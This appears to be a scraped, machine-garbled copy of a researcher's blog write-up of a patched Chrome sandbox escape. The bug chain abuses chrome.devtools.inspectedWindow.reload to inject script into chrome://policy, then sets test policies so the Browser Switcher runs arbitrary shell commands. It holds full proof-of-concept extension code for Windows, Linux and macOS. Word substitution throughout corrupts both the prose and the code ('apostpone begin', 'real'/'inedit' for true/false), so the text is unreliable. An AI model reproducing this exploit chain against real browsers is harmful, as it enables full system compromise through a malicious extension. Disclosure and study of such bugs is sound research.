iptv techs

IPTV Techs


Escaping the Chrome Sandbox Thcimpolite DevTools


Escaping the Chrome Sandbox Thcimpolite DevTools


By ading2210 on 10/16/24

Introduction

This blog post details how I set up CVE-2024-6778 and CVE-2024-5836, which are vulnerabilities wislfinisher the Chromium web browser which permited for a sandbox escape from a browser extension (with a minuscule bit of employr participateion). Eventupartner, Google phelp me $20,000 for this bug alert.

In low, these bugs permited a harmful Chrome extension to run any shell direct on your PC, which might then be employd to inshigh some even worse harmful software. Instead of medepend stealing your passwords and compromising your browser, an aggressioner could acquire deal with of your entire operating system.

WebUIs and the Chrome Sandbox

All unthinked code that Chromium runs is sandboxed, which uncomardents that it runs in an isoprocrastinateedd environment that cannot access anyslfinisherg it’s not presumed to. In rehearse, this uncomardents that the Javascript code that runs in a Chrome extension can only participate with itself and the Javascript APIs it has access to. Which APIs an extension has access to is subordinate on the perleave outions that the employr grants it. However, the worst that you can repartner do with these perleave outions is steal someone’s logins and browser history. Everyslfinisherg is presumed to stay grasped to wislfinisher the browser.

Additionpartner, Chromium has a scant webpages that it employs for distake parting its GUI, using a mechanism called WebUI. These are premended with the chrome:// URL protocol, and comprise ones you’ve probably employd appreciate chrome://settings and chrome://history. Their purpose is to provide the employr-facing UI for Chromium’s features, while being written with web technologies such as HTML, CSS, and Javascript. Becaemploy they need to distake part and change alertation that is particular to the inners of the browser, they are think abouted to be privileged, which uncomardents they have access to declareiveial APIs that are employd nowhere else. These declareiveial APIs permit the Javascript code running on the WebUI frontfinish to articulate with native C++ code in the browser itself.

Preventing an aggressioner from accessing WebUIs is beginant becaemploy code that runs on a WebUI page can bypass the Chromium sandbox entidepend. For example, on chrome://downloads, clicking on a download for a .exe file will run the executable, and thus if this action was carry outed via a harmful script, that script can escape the sandbox.

Running unthinked Javascript on chrome:// pages is a common aggression vector, so the receiving finish of these declareiveial APIs carry out some validation to discover that they’re not doing anyslfinisherg that the employr couldn’t otherrational do normpartner. Going back to the chrome://downloads example, Chromium protects aacquirest that exact scenario by requiring that to uncover a file from the downloads page, the action that triggers it has to come from an actual employr input and not fair Javascript.

Of course, sometimes with these examines there’s an edge case that the Chromium enbigers didn’t account for.

About Enterpelevate Policies

My journey towards discovering this vulnerability began when I was seeing into the Chromium go inpelevate policy system. It’s intfinished to be a way for administrators to force certain settings to be applied to devices owned by a company or school. Usupartner, policies tied to a Google account and are downloaded from Google’s own deal withment server.

Enterpelevate policies also comprise slfinishergs that the employr would not be able to change normpartner. For example, one of the slfinishergs you can do with policies is disable the dino easter egg game:

Moreover, the policies themselves are splitd into two categories: employr policies and device policies.

Device policies are employd to deal with settings apass an entire Chrome OS device. They can be as straightforward as remercilessing which accounts can log in or setting the free channel. Some of them can even change the behavior of the device’s firmware (employd to obstruct enbiger mode or downgrading the OS). However, becaemploy this vulnerability doesn’t pertain to Chrome OS, device policies can be disseed for now.

User policies are applied to a particular employr or browser instance. Unappreciate device policies, these are employable on all platestablishs, and they can be set locpartner rather than depending on Google’s servers. On Linux for instance, placing a JSON file inside /etc/select/chrome/policies will set the employr policies for all instances of Google Chrome on the device.

Setting employr policies using this method is somewhat inaccessible since writing to the policies straightforwardory needs root perleave outions. However, what if there was a way to change these policies without creating a file?

The Policies WebUI

Notably, Chromium has a WebUI for seeing the policies applied to the current device, findd at chrome://policy. It shows the enumerate of policies applied, the logs for the policy service, and the ability to ship these policies to a JSON file.

This is kind and all, but normpartner there’s no way to edit the policies from this page. Unless of course, there is an unwrite downed feature to do exactly that.

Abusing the Policy Test Page

When I was doing research on the subject, I came apass the follothriveg entry in the Chrome Enterpelevate free remarks for Chrome v117:

Chrome will begin a chrome://policy/test page
chrome://policy/test will permit customers to test out policies on the Beta, Dev, Canary channels. If there is enough customer insist, we will think about transporting this functionality to the Stable channel.

As it turns out, this is the only place in Chromium’s write downation where this feature is alludeed at all. So with nowhere else to see, I examined the Chromium source code to figure out how it is presumed to labor.

Using Chromium Code Search, I did a search for chrome://policy/test, which led me to the JS part of the WebUI code for the policy test page. I then seed the declareiveial API calls that it employs to set the test policies:

ship class PolicyTestBrowserProxy {
  executeTestPolicies(policies: string, profileSeparationResponse: string) {
    return sfinishWithPromise('setLocalTestPolicies', policies, profileSeparationResponse);
  }
  ...
}

Remember how I shelp that these WebUI pages have access to declareiveial APIs? Well, sfinishWithPromise() is one of these. sfinishWithPromise() is repartner fair a wrapper for chrome.sfinish(), which sfinishs a ask to a regulater function written in C++. The regulater function can then do wdisappreciatever it needs to in the inners of the browser, then it may return a appreciate which is passed back to the JS side by sfinishWithPromise().

And so, on a whim, I choosed to see what calling this in the JS console would do.

//begin cr.js since we need sfinishWithPromise
let cr = apostpone begin('chrome://resources/js/cr.js');
apostpone cr.sfinishWithPromise("setLocalTestPolicies", "", "");

Unfortunately, running it sshow crashed the browser. Interestingly, the follothriveg line materializeed in the crash log:
[17282:17282:1016/022258.064657:FATAL:local_test_policy_loader.cc(68)] Check flunked: policies.has_appreciate() && policies->is_enumerate(). List of policies awaited

It sees appreciate it awaits a JSON string with an array of policies as the first argument, which produces sense. Let’s provide one then. Luckily policy_test_browser_proxy.ts alerts me the establishat it awaits so I don’t have to do too much guesslabor.

let cr = apostpone begin('chrome://resources/js/cr.js');
let policy = JSON.stringify([
  { 
    name: "AllowDinosaurEasterEgg",
    appreciate: inedit,
    level: 1, 
    source: 1,
    scope: 1
  }
]);
apostpone cr.sfinishWithPromise("setLocalTestPolicies", policy, "");

Video info: A demonstration of the policy test page bug.

So after running this… it fair labors? I fair set an arbitrary employr policy by sshow running some Javascript on chrome://policy. Cltimely someslfinisherg is going wrong here, think abouting that I never unambiguously assistd this feature at all.

Broken WebUI Validation

For some context, this is what the policy test page is presumed to see appreciate when it’s properly assistd.

To properly assist this page, you have to set the PolicyTestPageEnabled policy (also not write downed anywhere). If that policy is not set to begin with, then chrome://policy/test fair restraightforwards back to chrome://policy.

So why was I able to set the test policies seeless of the fact that I had the PolicyTestPageEnabled policy disabled? To spendigate this, I seeed though Chromium Code Search aacquire and set up the WebUI regulater for the setLocalTestPolicies function on the C++ side.

void PolicyUIHandler::HandleSetLocalTestPolicies(
    const base::Value::List& args) {
  std::string policies = args[1].GetString();

  policy::LocalTestPolicyProvider* local_test_provider =
      motionless_cast<policy::LocalTestPolicyProvider*>(
          g_browser_process->browser_policy_joinor()
              ->local_test_policy_provider());

  CHECK(local_test_provider);

  Profile::FromWebUI(web_ui())
      ->GetProfilePolicyConnector()
      ->UseLocalTestPolicyProvider();

  local_test_provider->LoadJsonPolicies(policies);
  AllowJavascript();
  ResettleJavascriptCallback(args[0], real);
}

The only validation that this function carry outs is that it examines to see if local_test_provider exists, otherrational it crashes the entire browser. Under what conditions will local_test_provider exist, though?

Then, I set up the code that actupartner produces the local test policy provider.

std::distinct_ptr<LocalTestPolicyProvider>
LocalTestPolicyProvider::CreateIfAllowed(version_info::Channel channel) {
  if (utils::IsPolicyTestingEnabled(/*pref_service=*/nullptr, channel)) {
    return base::WrapUnique(novel LocalTestPolicyProvider());
  }

  return nullptr;
}

So this function actupartner does carry out a examine to see if the test policies are permited. If they’re not permited, then it returns null, and trying to set test policies appreciate I showed earlier will caemploy a crash.

Maybe IsPolicyTestingEnabled() is misbehaving? Here’s what the function sees appreciate:

bool IsPolicyTestingEnabled(PrefService* pref_service,
                            version_info::Channel channel) {
  if (pref_service &&
      !pref_service->GetBoolean(policy_prefs::kPolicyTestPageEnabled)) {
    return inedit;
  }

  if (channel == version_info::Channel::CANARY ||
      channel == version_info::Channel::DEFAULT) {
    return real;
  }

  return inedit;
}

This function first examines if kPolicyTestPageEnabled is real, which is the the policy that is presumed to assist the policy test page under common conditions. However, you may see that when IsPolicyTestingEnabled() is called, the first argument, the pref_service, is set to null. This caemploys the examine to be disseed entidepend.

Now, the only examine that remains is for the channel. In this context, “channel” uncomardents browser’s free channel, which is someslfinisherg appreciate firm, beta, dev, or canary. So in this case, only Channel::CANARY and Channel::DEFAULT is permited. That must uncomardent that my browser is set to either the Channel::CANARY or Channel::DEFAULT.

Then does the browser comprehend what channel it’s in? Here’s the function where it chooses that:

// Returns the channel state for the browser based on branding and the
// CHROME_VERSION_EXTRA environment variable. In unbranded (Chromium) produces,
// this function unconditionpartner returns `channel` = UNKNOWN and
// `is_extfinished_firm` = inedit. In branded (Google Chrome) produces, this
// function returns `channel` = UNKNOWN and `is_extfinished_firm` = inedit for any
// unawaited $CHROME_VERSION_EXTRA appreciate.
ChannelState GetChannelImpl() {
#if BUILDFLAG(GOOGLE_CHROME_BRANDING)
  const char* const env = getenv("CHROME_VERSION_EXTRA");
  const std::string_see env_str =
      env ? std::string_see(env) : std::string_see();

  // Ordered by decreasing awaited population size.
  if (env_str == "firm")
    return {version_info::Channel::STABLE, /*is_extfinished_firm=*/inedit};
  if (env_str == "extfinished")
    return {version_info::Channel::STABLE, /*is_extfinished_firm=*/real};
  if (env_str == "beta")
    return {version_info::Channel::BETA, /*is_extfinished_firm=*/inedit};
  if (env_str == "unfirm")  // linux version of "dev"
    return {version_info::Channel::DEV, /*is_extfinished_firm=*/inedit};
  if (env_str == "canary") {
    return {version_info::Channel::CANARY, /*is_extfinished_firm=*/inedit};
  }
#finishif  // BUILDFLAG(GOOGLE_CHROME_BRANDING)

  return {version_info::Channel::UNKNOWN, /*is_extfinished_firm=*/inedit};
}

If you don’t comprehend how the C preprocessor labors, the #if BUILDFLAG(GOOGLE_CHROME_BRANDING) part uncomardents that the enseald code will only be compiled if BUILDFLAG(GOOGLE_CHROME_BRANDING) is real. Otherrational that part of the code doesn’t exist. Considering that I’m using plain Chromium and not the branded Google Chrome, the channel will always be Channel::UNKNOWN. This also uncomardents that, cursedly, the bug will not labor on firm produces of Google Chrome since the free channel is set to the proper appreciate there.

enum class Channel {
  UNKNOWN = 0,
  DEFAULT = UNKNOWN,
  CANARY = 1,
  DEV = 2,
  BETA = 3,
  STABLE = 4,
};

Looking at the enum definition for the channels, we can see that Channel::UNKNOWN is actupartner the same as Channel::DEFAULT. Thus, on Chromium and its derivatives, the free channel examine in IsPolicyTestingEnabled() always passes, and the function will always return real.

Sandbox Escape via the Browser Switcher

So what can I actupartner do with the ability to set arbitrary employr policies? To answer that, I seeed at the Chrome go inpelevate policy enumerate.

One of the features current in go inpelevate policies is the Legacy Browser Support module, also called the Browser Switcher. It’s structureed to accommodate Internet Explorer employrs by begining an changenative browser when the employr visit certain URLs in Chromium. The behaviors of this feature are all deal withlable with policies.

The AlternativeBrowserPath policy stood out in particular. Combined with AlternativeBrowserParameters, this lets Chromium begin any shell direct as the “changenate browser.” However, grasp in mind this only labors on Linux, MacOS, and Windows, becaemploy otherrational the browser switcher policies don’t exist.

We can set the follothriveg policies to produce Chromium begin the calculator, for instance:

name: "BrowserSwitcherEnabled"
appreciate: real

name: "BrowserSwitcherUrlList"
appreciate: ["example.com"]

name: "AlternativeBrowserPath"
appreciate: "/bin/bash"

name: "AlternativeBrowserParameters"
appreciate: ["-c", "xcalc # ${url}"] 

Whenever the browser tries to direct to example.com, the browser switcher will initiate in and begin /bin/bash. ["-c", "xcalc # https://example.com"] get passed in as arguments. The -c alerts bash to run the direct specified in the next argument. You may have seed that the page URL gets replaced into ${url}, and so to obstruct this from messing up the direct, we can sshow put it behind a # which produces it a comment. And thus, we are able to trick Chromium into running /bin/bash -c 'xcalc # https://example.com'.

Utilizing this from the chrome://policy page is rather straightforward. I can fair set these policies using the aforealludeed method, and then call thrivedow.uncover("https://example.com") to trigger the browser switcher.

let cr = apostpone begin('chrome://resources/js/cr.js');
let policy = JSON.stringify([
  { //assist the browser switcher feature
    name: "BrowserSwitcherEnabled",
    appreciate: real,
    level: 1,
    source: 1,
    scope: 1
  }, 
  { //set the browser switcher to trigger on example.com
    name: "BrowserSwitcherUrlList",
    appreciate: ["example.com"],
    level: 1,
    source: 1,
    scope: 1
  }, 
  { //set the executable path to begin
    name: "AlternativeBrowserPath",
    appreciate: "/bin/bash",
    level: 1,
    source: 1,
    scope: 1
  }, 
  { //set the arguments for the executable
    name: "AlternativeBrowserParameters",
    appreciate: ["-c", "xcalc # https://example.com"],
    level: 1,
    source: 1,
    scope: 1
  }
]);

//set the policies enumerateed above
apostpone cr.sfinishWithPromise("setLocalTestPolicies", policy, "");
//direct to example.com, which will trigger the browser switcher
thrivedow.uncover("https://example.com")

Video info: A demonstration of using the test policies bug and the browser switcher to carry out a sandbox escape.

And that right there is the sandbox escape. We have deal withd to run an arbitrary shell direct via Javascript running on chrome://policy.

Breaking the Devtools API

You might have seed that so far, this aggression needs the victim to paste the harmful code into the browser console while they are on chrome://policy. Actupartner convincing someone to do this would be rather difficult, making the bug appreciateless. So now, my novel goal is to somehow run this JS in chrome://policy automaticpartner.

The most probable way this can be done is by creating a harmful Chrome extension. The Chrome extension APIs have a fairly big aggression surface, and extensions by their very nature have the ability to inject JS onto pages. However, appreciate I alludeed earlier, extensions are not permited to run JS on privileged WebUI pages, so I needed to discover a way around that.

There are 4 main ways that an extension can perestablish JS on pages:

While spendigating this, I choosed to see into chrome.devtools.examineedWindow, as I felt that it was the most confemploy and thus least difficultened. That assumption turned out to be right.

The way that the chrome.devtools APIs labor is that all extensions that employ the APIs must have the devtools_page field in their manifest. For example:

{
  "name": "example extension",
  "version": "1.0",
  "devtools_page": "devtools.html",
  ...
}

Essentipartner, what this does is it specifies that whenever the employr uncovers devtools, the devtools page loads devtools.html as an isummarize. Wislfinisher that isummarize, the extension can employ all of the chrome.devtools APIs. You can refer to the API write downation for the particulars.

While researching the chrome.devtools.examineedWindow APIs, I seed a prior bug alert by David Erceg, which comprised a bug with chrome.devtools.examineedWindow.eval(). He deal withd to get code execution on a WebUI by uncovering devtools on a common page, then running chrome.devtools.examineedWindow.eval() with a script that crashed the page. Then, this crashed tab could be directd to a WebUI page, where the eval ask would be re-run, thus acquireing code execution there.

Notably, the chrome.devtools APIs are presumed to protect aacquirest this sort of privilege execution by sshow disabling their usage after the examineed page has been directd to a WebUI. As David Erceg showd in his bug alert, the key to bypassing this is to sfinish the ask for the eval before Chrome chooses to disable the devtools API, and to produce certain the ask get tos at the WebUI page.

After reading that alert, I wondered if someslfinisherg aappreciate was possible with chrome.devtools.examineedWindow.reload(). This function is also able to run JS on the examineed page, as extfinished as the injectedScript is passed into it.

The first sign that it was take advantage ofable materializeed when I tried calling examineedWindow.reload() when the examineed page was an about:blank page which beextfinisheded to a WebUI. about:blank pages are distinct in this see since even though the URL is not exceptional, they inherit the perleave outions and origin from the page that uncovered them. Becaemploy an about:blank page uncovered from a WebUI is privileged, you would await that trying to appraise JS on that page would be blocked.

Surprisingly, this actupartner labored. Notice that the title of the attentive has the page’s origin in it, which is chrome://settings, so the page is in fact privileged. But postpone, isn’t the devtools API presumed to obstruct this exact slfinisherg by disabling the API entidepend? Well, it doesn’t think about the edge case of about:blank pages. Here’s the code that regulates disabling the API:

declareiveial examineedURLChanged(event: Common.EventTarget.EventTargetEvent<SDK.Target.Target>): void {
  if (!ExtensionServer.canInspectURL(event.data.examineedURL())) {
    this.disableExtensions();
    return;
  }
  ...
}

Importantly, it only acquires the URL into think aboutation here, not the page’s origin. As I showd earlier, these can be two distinct slfinishergs. Even if the URL is benign, the origin may not be.

Abusing about:blank is kind and all but it’s not very advantageous in the context of making an take advantage of chain. The page I want to get code execution on, chrome://policy, never uncovers any about:blank popups, so that’s already a dead finish. However, I seed the fact that even though examineedWindow.eval() flunked, examineedWindow.reload() still ran successbrimmingy and perestablishd the JS on chrome://settings. This proposeed that examineedWindow.eval() has its own examines to see if the origin of the examineed page is permited, while examineedWindow.reload() has no examines of its own.

Then I wondered if I could fair spam the examineedWindow.reload() calls, so that if at least one of those asks landed on the WebUI page, I would get code execution.

function inject_script() {
  chrome.devtools.examineedWindow.reload({"injectedScript": `
    //examine the origin, this script won't do anyslfinisherg on a non chrome page
    if (!origin.beginsWith("chrome://")) return;
    attentive("hello from chrome.devtools.examineedWindow.reload");
    `
  });
}

setInterval(() => {
  for (let i=0; i<5; i++) {
    inject_script(); 
  }
}, 0);  

chrome.tabs.refresh(chrome.devtools.examineedWindow.tabId, {url: "chrome://policy"});

And that’s the final piece of the take advantage of chain laboring. This race condition relies on the fact that the examineed page and the devtools page are contrastent processes. When the navigation to the WebUI occurs in the examineed page, there is a petite thrivedow of time before the devtools page genuineizes and disables the API. If examineedWindow.reload() is called wislfinisher this interval of time, the reload ask will finish up on the WebUI page.

Putting it All Together

Now that I had all of the steps of the take advantage of laboring, I began putting together the proof of concept code. To recap, this POC has to to the follothriveg:

  1. Use the race condition in chrome.devtools.examineedWindow.reload() to perestablish a JS payload on chrome://policy
  2. That payload calls sfinishWithPromise("setLocalTestPolicies", policy) to set custom employr policies.
  3. The BrowserSwitcherEnabled, BrowserSwitcherUrlList, AlternativeBrowserPath, and AlternativeBrowserParameters are set, depicting /bin/bash as the “changenate browser.”
  4. The browser switcher is triggered by a straightforward thrivedow.uncover() call, which perestablishs a shell direct.

The final proof of concept take advantage of seeed appreciate this:

let executable, flags;
if (navigator.employrAgent.comprises("Windows NT")) {
  executable = "C:\Windows\System32\cmd.exe";
  flags = ["/C", "calc.exe & rem ${url}"];
}
else if (navigator.employrAgent.comprises("Linux")) {
  executable = "/bin/bash";
  flags = ["-c", "xcalc # ${url}"];
}
else if (navigator.employrAgent.comprises("Mac OS")) {
  executable = "/bin/bash";
  flags = ["-c", "uncover -na Calculator # ${url}"];
}

//function which injects the satisfied script into the examineed page
function inject_script() {
  chrome.devtools.examineedWindow.reload({"injectedScript": `
    (async () => {
      //examine the origin, this script won't do anyslfinisherg on a non chrome page
      console.log(origin);
      if (!origin.beginsWith("chrome://")) return;

      //begin cr.js since we need sfinishWithPromise
      let cr = apostpone begin('chrome://resources/js/cr.js');

      //here are the policies we are going to set
      let policy = JSON.stringify([
        { //assist the browser switcher feature
          name: "BrowserSwitcherEnabled",
          appreciate: real,
          level: 1,
          source: 1,
          scope: 1
        }, 
        { //set the browser switcher to trigger on example.com
          name: "BrowserSwitcherUrlList",
          appreciate: ["example.com"],
          level: 1,
          source: 1,
          scope: 1
        }, 
        { //set the executable path to begin
          name: "AlternativeBrowserPath",
          appreciate: ${JSON.stringify(executable)},
          level: 1,
          source: 1,
          scope: 1
        }, 
        { //set the arguments for the executable
          name: "AlternativeBrowserParameters",
          appreciate: ${JSON.stringify(flags)},
          level: 1,
          source: 1,
          scope: 1
        }
      ]);

      //set the policies enumerateed above
      apostpone cr.sfinishWithPromise("setLocalTestPolicies", policy, "");

      setTimeout(() => {
        //direct to example.com, which will trigger the browser switcher
        location.href = "https://example.com";

        //uncover a novel page so that there is still a tab remaining after this
        uncover("about:blank");  
      }, 100);
    })()`
  });
}

//interval to grasp trying to inject the satisfied script
//there's a minuscule thrivedow of time in which the satisfied script will be
//injected into a protected page, so this needs to run frequently
function begin_interval() {
  setInterval(() => {
    //loop to increase our odds
    for (let i=0; i<3; i++) {
      inject_script(); 
    }
  }, 0);  
}

async function main() {
  //begin the interval to inject the satisfied script
  begin_interval();

  //direct the examineed page to chrome://policy
  let tab = apostpone chrome.tabs.get(chrome.devtools.examineedWindow.tabId);
  apostpone chrome.tabs.refresh(tab.id, {url: "chrome://policy"});

  //if this times out we need to retry or abort
  apostpone novel Promise((resettle) => {setTimeout(resettle, 1000)});
  let novel_tab = apostpone chrome.tabs.get(tab.id);

  //if we're on the policy page, the satisfied script didn't get injected
  if (novel_tab.url.beginsWith("chrome://policy")) {
    //direct back to the innovative page
    apostpone chrome.tabs.refresh(tab.id, {url: tab.url});

    //declineing and reloading the tab will seal devtools
    setTimeout(() => {
      chrome.tabs.decline(tab.id);
    }, 100)
  }

  //we're still on the innovative page, so reload the extension summarize to retry
  else {
    location.reload();
  }
}

main();

And with that, I was ready to author the bug alert. I concluded the script, wrote an exstructureation of the bug, tested it on multiple operating systems, and sent it in to Google.

At this point however, there was still a glaring problem: The race condition with .examineedWindow.reload() was not very depfinishable. I deal withd to tfrail it so that it labored about 70% of the time, but that still wasn’t enough. While the fact that it labored at all definitely made it a solemn vulnerability seeless, the unreliability would have shrinkd the disjoinity by quite a bit. So then I got to labor trying to discover a better way.

A Familiar Approach

Remember how I alludeed that in David Erceg’s bug alert, he employd the fact that debugger asks persist after the tab crashes? I wondered if this exact method labored for examineedWindow.reload() too, so I tested it. I also messed with the debugger statement, and it materializeed that triggering the debugger twice in a row caemployd the tab to crash.

So I got to labor writing a novel POC:

let tab_id = chrome.devtools.examineedWindow.tabId;

//function which injects the satisfied script into the examineed page
function inject_script() {
  chrome.devtools.examineedWindow.reload({"injectedScript": `
    //examine the origin, so that the debugger is triggered instead if we are not on a chrome page
    if (!origin.beginsWith("chrome://")) {
      debugger;
      return;
    }

    attentive("hello from chrome.devtools.examineedWindow.reload");`
  });
}

function sleep(ms) {
  return novel Promise((resettle) => {setTimeout(resettle, ms)})
}

async function main() {
  //we have to reset the tab's origin here so that we don't crash our own extension process
  //this directs to example.org which changes the tab's origin
  apostpone chrome.tabs.refresh(tab_id, {url: "https://example.org/"});
  apostpone sleep(500);
  //direct to about:blank from wislfinisher the example.org page which grasps the same origin
  chrome.devtools.examineedWindow.reload({"injectedScript": `
      location.href = "about:blank";
    ` 
  })
  apostpone sleep(500);

  inject_script(); //paemploy the current tab
  inject_script(); //calling this aacquire crashes the tab and queues up our javascript
  apostpone sleep(500);
  chrome.tabs.refresh(tab_id, {url: "chrome://settings"});
}

main();

Video info: A demonstration of the method that comprises crashing the examineed page.

And it labors! This kind part about this approach is that it reshifts the need for a race condition and produces the take advantage of 100% depfinishable. Then, I uploaded the novel POC, with all of the chrome://policy stuff, to a comment on the bug alert thread.

But why would this exact oversight still exist even though it should have been patched 4 years ago? We can figure out why by seeing at how that previous bug was patched. Google’s mend was to clear all the pfinishing debugger asks after the tab crashes, which seems appreciate a rational approach:

void DevToolsSession::ClearPfinishingMessages(bool did_crash) {
  for (auto it = pfinishing_messages_.begin(); it != pfinishing_messages_.finish();) {
    const PfinishingMessage& message = *it;
    if (SpanEquals(crdtp::SpanFrom("Page.reload"),
                   crdtp::SpanFrom(message.method))) {
      ++it;
      persist;
    }
    // Sfinish error to the client and delete the message from pfinishing.
    std::string error_message =
        did_crash ? kTargetCrashedMessage : kTargetCleave outdMessage;
    SfinishProtocolResponse(
        message.call_id,
        crdtp::CreateErrorResponse(
            message.call_id,
            crdtp::DispatchResponse::ServerError(error_message)));
    postponeing_for_response_.erase(message.call_id);
    it = pfinishing_messages_.erase(it);
  }
}

You may see that it seems to grasp an exception for the Page.reload asks so that they are not cleared. Internpartner, the examineedWindow.reload() API sfinishs a Page.reload ask, so as a result the examineedWindow.reload() API calls are exempted from this patch. Google repartner patched this bug, then compriseed an exception to it which produce the bug possible aacquire. I guess they didn’t genuineize that Page.reload could also run scripts.

Another mystery is why the page crashes when the debugger statement is run twice. I’m still not finishly certain about this one, but I slfinisherk I slfinishered it down to a function wislfinisher Chromium’s rfinisherer code. It’s particularpartner happens when Chromium examines the navigation state, and when it greets an unawaited state, it crashes. This state gets messed up when RfinisherFrameImpl::SynchronouslyCommitAboutBlankForBug778318 is called (yet another side effect of treating about:blank specipartner). Of course, any benevolent of crash labors, such as with [...new Array(2**31)], which caemploys the tab to run out of memory. However, the debugger crash is much rapider to trigger so that’s what I employd in my final POC.

Anyways, here’s what the take advantage of sees appreciate in action:

Video info: A demonstration of the final POC.

By the way, you might have seed the “extension inshigh error” screen that is shown. That’s fair to trick the employr into uncovering devtools, which triggers the chain directing to the sandbox escape.

Google’s Response

After I alerted the vulnerability, Google rapidly verifyed it and classified it as P1/S1, which uncomardents high priority and high disjoinity. Over the next scant weeks, the follothriveg mendes were carry outed:
Adding a loaderId argument to the Page.reload direct and examineing the loaderID on the rfinisherer side – This discovers that the direct is only valid for a one origin and won’t labor if the direct accomplishes a privileged page unintentionpartner.
Checking for the URL in the examineedWindow.reload() function – Now, this function isn’t subordinate on only the extension API revoking access.
Checking if the test policies are assistd in the WebUI regulater – By compriseing a laboring examine in the regulater function, this obstructs the test policies from being set entidepend.

Eventupartner, the vulnerability involving the race condition was spreaded CVE-2024-5836, with a CVSS disjoinity score of 8.8 (High). The vulnerability involving crashing the examineed page was spreaded CVE-2024-6778, also with a disjoinity score of 8.8.

Once everyslfinisherg was mended and combined into the various free branches, the VRP panel scrutinizeed the bug alert and choosed the reward. I acquired with $20,000 for discovering this vulnerability!

Timeline

  • April 16 – I uncovered the test policies bug
  • April 29 – I set up the examineedWindow.reload() bug involving the race condition
  • May 1 – I sent the bug alert to Google
  • May 4 – Google classified it as P1/S1
  • May 5 – I set up the bug involving crashing the examineed page, and refreshd my alert
  • May 6 – Google asked me to file split bug alerts for every part of the chain
  • July 8 – The bug alert is taged as mended
  • July 13 – The alert is sent to the Chrome VRP panel to choose a reward
  • July 17 – The VRP panel choosed the reward amount to be $20,000
  • October 15 – The entire bug alert became unveil

Conclusion

I guess the main acquireaway from all of this is that if you see in the right places, the straightforwardst misacquires can be compound upon each other to result in a vulnerability with astonishingly high disjoinity. You also can’t think that very elderly code will remain protected after many years, think abouting that the examineedWindow.reload bug actupartner labors as far back as Chrome v45. Additionpartner, it isn’t a excellent idea to ship finishly unwrite downed, infinish, and worried features to everyone, as was the case with the policy test page bug. Finpartner, when mending a vulnerability, you should examine to see if aappreciate bugs are possible and try to mend those as well.

You may discover the innovative bug alert here: crbug.com/40053357

I’ve also put the POCs for each part of the vulnerability in a Github repo.

<- Back

Source join


Leave a Reply

Your email address will not be published. Required fields are marked *

Thank You For The Order

Please check your email we sent the process how you can get your account

Select Your Plan